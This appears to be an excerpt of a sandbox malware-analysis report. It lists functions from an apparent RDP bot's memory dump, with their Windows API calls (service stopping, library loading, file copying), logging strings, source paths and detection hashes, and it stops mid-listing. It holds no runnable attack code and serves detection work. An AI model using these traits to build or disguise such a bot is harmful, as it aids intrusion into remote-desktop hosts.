[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$Heap$CloseControlErrorFreeHandleLastOpenProcess
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 2595137571-638458398
Opcode ID: 3ed2d8b9dbf78e8626dcf1075f9c91aa1287d97e58c272b56c27b9d342335e32
Instruction ID: 952efb64cc6c934511eb668ccae1a80ff518c22587e70679942ae371e567ffa9
Opcode Fuzzy Hash: 3ed2d8b9dbf78e8626dcf1075f9c91aa1287d97e58c272b56c27b9d342335e32
Instruction Fuzzy Hash: 091116E1B1CA8391FA629B75EC4427A52A1BF06B85F845435CD5E8B3B4DEBCAC588301

Function 00007FFB227386BC Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46servicememoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB227386DF
HeapFree.KERNEL32 ref: 00007FFB227386F0
CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$Heap$CloseControlErrorFreeHandleLastOpenProcess
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 2595137571-638458398
Opcode ID: 61ebda7c9a75cf6fd9379b58ca17d24c0a1ebf727755d359657486beb170ab25
Instruction ID: be2b856da70fa1f310c03b6b0175c5ed4ee8d939bf9f0f171a750a092ca6cf2b
Opcode Fuzzy Hash: 61ebda7c9a75cf6fd9379b58ca17d24c0a1ebf727755d359657486beb170ab25
Instruction Fuzzy Hash: 181128E1B1CA8391FA239B75EC4427A52A1BF06B85F845435CD1ECB3B4DEBCAD548202

Function 00007FFB227386C3 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46servicememoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB227386DF
HeapFree.KERNEL32 ref: 00007FFB227386F0
CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$Heap$CloseControlErrorFreeHandleLastOpenProcess
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 2595137571-638458398
Opcode ID: 996f495a909f0bd638c5968cd08873662b4cd7a46a3c34c1dc8f18ebb8e5f026
Instruction ID: 8774d0dd524a8fe8b1583fc3f52a71bbd56ce5ae82f17ffafec1b4b09a4eb300
Opcode Fuzzy Hash: 996f495a909f0bd638c5968cd08873662b4cd7a46a3c34c1dc8f18ebb8e5f026
Instruction Fuzzy Hash: E81128E1B1CA8391FA239B75EC4427A52A1BF06B85F845435CD1ECB3B5DEBCAC548201

Function 00007FFB227386CA Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46servicememoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB227386DF
HeapFree.KERNEL32 ref: 00007FFB227386F0
CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$Heap$CloseControlErrorFreeHandleLastOpenProcess
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 2595137571-638458398
Opcode ID: 7f36150ea4f059692cd9818045931b5a18d33b806f31f38deac785743fa1adc3
Instruction ID: 8cfeba07babc5e3603ef1b6f60e3f8b7b53a9b5319c95bdbe6656408ccb3f031
Opcode Fuzzy Hash: 7f36150ea4f059692cd9818045931b5a18d33b806f31f38deac785743fa1adc3
Instruction Fuzzy Hash: 061128E1B1CA8391FA239B75EC4427A52A1BF06B85F845435CD1ECB3B4DEBCAC548201

Function 00007FFB22743EEE Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFB22743EFE
GetProcAddress.KERNEL32 ref: 00007FFB22743F15
LoadLibraryW.KERNEL32 ref: 00007FFB22743F23
GetProcAddress.KERNEL32 ref: 00007FFB22743F33

Strings

rand_s, xrefs: 00007FFB22743F0B
SystemFunction036, xrefs: 00007FFB22743F29
msvcrt.dll, xrefs: 00007FFB22743EF7
advapi32.dll, xrefs: 00007FFB22743F1C

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: c1c060f186eb342436fb734f2fbcc4792ec157808e5673767c41785e04e2db50
Instruction ID: 13bf3132d64ff6fb734622ddc47119c770a1cfb4f14ace8ba38c71b2447970c7
Opcode Fuzzy Hash: c1c060f186eb342436fb734f2fbcc4792ec157808e5673767c41785e04e2db50
Instruction Fuzzy Hash: 3BF01DA0E1EA8790FD03D731FC5147477B4AF1AB80B400532DC4D8A370EEACA955C300

Function 00007FFB22732C59 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FFB22732CF7
GetLastError.KERNEL32 ref: 00007FFB22732D12

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FFB22732CCD
fs_file_copy, xrefs: 00007FFB22732CC6, 00007FFB22732D29, 00007FFB22732E77
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FFB22732E7E
[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FFB22732D30
NULL, xrefs: 00007FFB22732E55, 00007FFB22732E61

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: cd6b9d1f01bb8824239211b2dace7a9b5a9fafed83674eeede46243d8d0c5ff7
Instruction ID: 93d2ef75186060a93b05964888b72a9fec2f8695f1772a64d0762bc73cbaf8e7
Opcode Fuzzy Hash: cd6b9d1f01bb8824239211b2dace7a9b5a9fafed83674eeede46243d8d0c5ff7
Instruction Fuzzy Hash: 78413DD1F0D6D781FB674A36EC043B966507F22B98F544132CD0E866B4DEEDAE818702

Function 00007FFB2273A6CD Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

EnterCriticalSection.KERNEL32 ref: 00007FFB2273A705
GetProcessHeap.KERNEL32 ref: 00007FFB2273A752
HeapFree.KERNEL32 ref: 00007FFB2273A763
LeaveCriticalSection.KERNEL32 ref: 00007FFB2273A786

Strings

[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB2273A773
[E] (%s) -> Failed(handler=0x%p), xrefs: 00007FFB2273A7AA
ebus_unsubscribe, xrefs: 00007FFB2273A6D9, 00007FFB2273A76C, 00007FFB2273A7A3
[D] (%s) -> Requested(handler=0x%p), xrefs: 00007FFB2273A6E0

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalHeapSection$EnterFreeLeaveProcessfflushfwrite
String ID: [D] (%s) -> Requested(handler=0x%p)$[E] (%s) -> Failed(handler=0x%p)$[I] (%s) -> Done(handler=0x%p)$ebus_unsubscribe
API String ID: 2011334650-1527096901
Opcode ID: 7c2f03f4522ea7c54cac7d0198125063fdfde5b84ab23f79319d17b97361dceb
Instruction ID: bf89035b5a5d3d6beb6da4021a4935d3823bdf50f0d01a12662a7fe7e78934a5
Opcode Fuzzy Hash: 7c2f03f4522ea7c54cac7d0198125063fdfde5b84ab23f79319d17b97361dceb
Instruction Fuzzy Hash: 5F21DBE1B0E68751FF535B35ECA11B863A0AF56B80F484435C91D86375DEACAD85D302

Function 00007FFB22734769 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB227347E2
strlen.MSVCRT ref: 00007FFB227347FE
strcat.MSVCRT ref: 00007FFB2273480D
strlen.MSVCRT ref: 00007FFB22734818

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227347CC
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB227347B7
fs_module_file, xrefs: 00007FFB227347C5
(file_path != NULL), xrefs: 00007FFB227347BE

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$strcat
String ID: (file_path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_module_file
API String ID: 2335785903-2423714266
Opcode ID: 886c1d0125082086d6236a7ee7ce3a2728db80c2a689adc5134ad21f3790033e
Instruction ID: b565e1927c06ee7785a30bcb69db859198f49756bceaa12f56d998b69f47d381
Opcode Fuzzy Hash: 886c1d0125082086d6236a7ee7ce3a2728db80c2a689adc5134ad21f3790033e
Instruction Fuzzy Hash: 9D116D92B0C6D344FE1A5A35ED257B566A11F13B88F4C4030DE0D8A2A6EEACAC11C242

Function 00007FFB22733F67 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FFB22733F70
GetLastError.KERNEL32 ref: 00007FFB22733FB5

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22733FA2
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22733F8D
fs_path_exists, xrefs: 00007FFB22733F9B
(path != NULL), xrefs: 00007FFB22733F94

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-4111913120
Opcode ID: 2c62e7f74456b261eda3a56a5f0472945fabecd707f98314b876e7eb4c98184f
Instruction ID: 66a6eb33ef6d043d45f5df7ea214acc490402f35332ee6538f97abc7a9d8c4d7
Opcode Fuzzy Hash: 2c62e7f74456b261eda3a56a5f0472945fabecd707f98314b876e7eb4c98184f
Instruction Fuzzy Hash: 8B21AFD0F0D6C392FB3A4678DC9437951609F43309FA0053AE11EDE2B9CEADAC859283

Function 00007FFB2273AB40 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 42COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FFB2273AB52

Strings

ip4_from_str, xrefs: 00007FFB2273ABA0, 00007FFB2273ABD0
C:/Projects/rdp/bot/codebase/net.c, xrefs: 00007FFB2273AB92, 00007FFB2273ABC2
(s != NULL), xrefs: 00007FFB2273AB99
(v != NULL), xrefs: 00007FFB2273ABC9
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273ABA7, 00007FFB2273ABD7

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: inet_addr
String ID: (s != NULL)$(v != NULL)$C:/Projects/rdp/bot/codebase/net.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$ip4_from_str
API String ID: 1393076350-1216860922
Opcode ID: 27558201fc945488416f0c09e9fe0ba5faac68ad3d865013deeb4a46647f752f
Instruction ID: feff7510903685a9b543f8cc81451b4ce1237991095a16359e338ac3cb6e6e73
Opcode Fuzzy Hash: 27558201fc945488416f0c09e9fe0ba5faac68ad3d865013deeb4a46647f752f
Instruction Fuzzy Hash: 7711F5E1A0C58782FF129B34EC112F82261AF12308F444235D91D8A1B4EFBCED46E341

Function 00007FFB2273132C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB2273BC64: LoadLibraryA.KERNEL32 ref: 00007FFB2273BC72

GetLastError.KERNEL32 ref: 00007FFB227313A8

Part of subcall function 00007FFB2273BBE3: GetProcAddress.KERNEL32 ref: 00007FFB2273BC03

Strings

kernel32, xrefs: 00007FFB22731339
Done, xrefs: 00007FFB22731384
Wow64RevertWow64FsRedirection, xrefs: 00007FFB2273134D
[I] (%s) -> %s, xrefs: 00007FFB22731392
[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu), xrefs: 00007FFB227313B8
fs_wow_redir_revert, xrefs: 00007FFB2273138B, 00007FFB227313B1

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: Done$Wow64RevertWow64FsRedirection$[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_revert$kernel32
API String ID: 3511525774-1584720945
Opcode ID: 864cba44ca97bf7edcb33a3b14e650b8a18afea84fbaf8def9057ab66fd9ce8b
Instruction ID: 1f06611cd136f71b009bcd4f002b9b38cb5e0df23ba6a16a41f44e62d957a670
Opcode Fuzzy Hash: 864cba44ca97bf7edcb33a3b14e650b8a18afea84fbaf8def9057ab66fd9ce8b
Instruction Fuzzy Hash: 19114FE0E1D68391FE129B35EC517B422A0AF56744F441035D85EC66B1EEEDBD58C342

Function 00007FFB2273884A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$CloseControlErrorHandleLastOpen
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 3311966420-638458398
Opcode ID: 002457e411450f8fa99a83fc6859164a5778e39736ed89b876f985500c632e71
Instruction ID: 3c50750e534c41b76bc66501e124d7cd55b21e8e8aab818db7c17fdfe43df7cb
Opcode Fuzzy Hash: 002457e411450f8fa99a83fc6859164a5778e39736ed89b876f985500c632e71
Instruction Fuzzy Hash: C50135E1B0CA8381FA229B35EC4427952A0BF06B84F845436CA4DCB3B0EEBCAC448301

Function 00007FFB2273889A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB227387AF
OpenServiceA.ADVAPI32 ref: 00007FFB227387CD
ControlService.ADVAPI32 ref: 00007FFB227387EC
GetLastError.KERNEL32 ref: 00007FFB227387FA

Strings

scm_stop, xrefs: 00007FFB22738814
[E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB2273881B

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$CloseControlErrorHandleLastOpen
String ID: [E] (%s) -> ControlService(SERVICE_CONTROL_STOP) failed(lpServiceName=%s,gle=%lu)$scm_stop
API String ID: 3311966420-638458398
Opcode ID: 002457e411450f8fa99a83fc6859164a5778e39736ed89b876f985500c632e71
Instruction ID: 3c50750e534c41b76bc66501e124d7cd55b21e8e8aab818db7c17fdfe43df7cb
Opcode Fuzzy Hash: 002457e411450f8fa99a83fc6859164a5778e39736ed89b876f985500c632e71
Instruction Fuzzy Hash: C50135E1B0CA8381FA229B35EC4427952A0BF06B84F845436CA4DCB3B0EEBCAC448301

Function 00007FFB22736C55 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB2273BC64: LoadLibraryA.KERNEL32 ref: 00007FFB2273BC72

Part of subcall function 00007FFB2273B989: FindResourceA.KERNEL32 ref: 00007FFB2273B9B6
Part of subcall function 00007FFB2273B989: LoadResource.KERNEL32 ref: 00007FFB2273B9CE

FreeLibrary.KERNEL32 ref: 00007FFB22736C87

Strings

rdp_version, xrefs: 00007FFB22736CAC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22736CB3
(ver != NULL), xrefs: 00007FFB22736CA5
termsrv.dll, xrefs: 00007FFB22736C63
C:/Projects/rdp/bot/rpd-controller/rdp.c, xrefs: 00007FFB22736C9E

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: LibraryLoadResource$FindFree
String ID: (ver != NULL)$C:/Projects/rdp/bot/rpd-controller/rdp.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$rdp_version$termsrv.dll
API String ID: 3272429154-2519045969
Opcode ID: ab470ca301d23fdc5eb326f0d7197a22969c08579847cbe546a7a8822d7a6ee9
Instruction ID: 619184db252f6778adb03f47818c4b233b424fae1833ecee96386c7b18be38e1
Opcode Fuzzy Hash: ab470ca301d23fdc5eb326f0d7197a22969c08579847cbe546a7a8822d7a6ee9
Instruction Fuzzy Hash: 6EF0ECD1B0E6CB81FF12EB71EC545B46260AF46744F840135D94D863B1EEACBD4AD305

Function 00007FFB2273AA9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FFB2273AABB
CloseHandle.KERNEL32 ref: 00007FFB2273AAC8

Part of subcall function 00007FFB2273A6CD: EnterCriticalSection.KERNEL32 ref: 00007FFB2273A705
Part of subcall function 00007FFB2273A6CD: GetProcessHeap.KERNEL32 ref: 00007FFB2273A752
Part of subcall function 00007FFB2273A6CD: HeapFree.KERNEL32 ref: 00007FFB2273A763
